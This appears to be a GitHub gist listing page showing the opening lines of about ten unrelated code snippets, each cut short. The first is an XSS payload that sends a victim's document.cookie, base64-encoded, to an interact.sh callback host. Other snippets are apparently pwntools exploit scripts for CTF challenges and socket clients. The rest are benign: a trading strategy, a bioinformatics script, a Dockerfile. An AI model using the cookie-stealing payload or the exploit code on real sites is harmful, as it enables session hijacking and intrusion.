This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// <script> | |
let collab = "c8xq3e52vtc0000hxsx0grq5tzyyyyyyb.interact.sh"; | |
let xhr = new XMLHttpRequest(); | |
xhr.open("POST", "http://" + collab); | |
xhr.send(btoa(document.cookie)); | |
// </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$web = 'index.php'; | |
if (in_array('phar', stream_get_wrappers()) && class_exists('Phar', 0)) { | |
Phar::interceptFileFuncs(); | |
set_include_path('phar://' . __FILE__ . PATH_SEPARATOR . get_include_path()); | |
Phar::webPhar(null, $web); | |
include 'phar://' . __FILE__ . '/' . Extract_Phar::START; | |
return; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This source code is subject to the terms of the Mozilla Public License 2.0 at https://mozilla.org/MPL/2.0/ | |
// © sudoaza | |
//@version=4 | |
strategy("Double RSI") | |
// Fix the backtest graph | |
order_size = round(1 / close[1]) | |
// Define RSI functions |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Import pairwise2 module | |
from Bio import pairwise2 | |
# Import format_alignment method | |
from Bio.pairwise2 import format_alignment | |
import itertools | |
import glob | |
from scipy import stats as s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket | |
import sys | |
sock = None | |
def connect(host, port=6379, timeout=3.0): | |
# Create a TCP/IP socket | |
sock = socket.socket(socket.AF_INET) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { | |
BaseTransaction, | |
TransactionError, | |
utils | |
} = require('@liskhq/lisk-transactions'); | |
/** | |
* Send tokens to multiple recipients. | |
*/ | |
class MultiSendTransaction extends BaseTransaction { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket | |
import sys | |
import ssl | |
import argparse | |
from pwn import enhex | |
import time | |
def error(msg): | |
if not args.debug: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu | |
# Install dependencies | |
RUN apt-get update && apt-get install -y \ | |
autoconf \ | |
automake \ | |
autotools-dev \ | |
build-essential \ | |
cmake \ | |
doxygen \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
pname = './input' | |
# stage 1 | |
argu = [ 'a' for i in range(100)] | |
argu[0] = pname | |
argu[65] = '\x00' | |
argu[66] = '\x20\x0a\x0d' | |
argu[67] = '64999' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from math import * | |
def match(str_1, str_2): | |
s1 = bits(str_1) | |
s2 = bits(str_2) | |
for i in range(len(s1)): | |
if s1[i] != s2[i]: | |
return i-1 | |
return i-1 |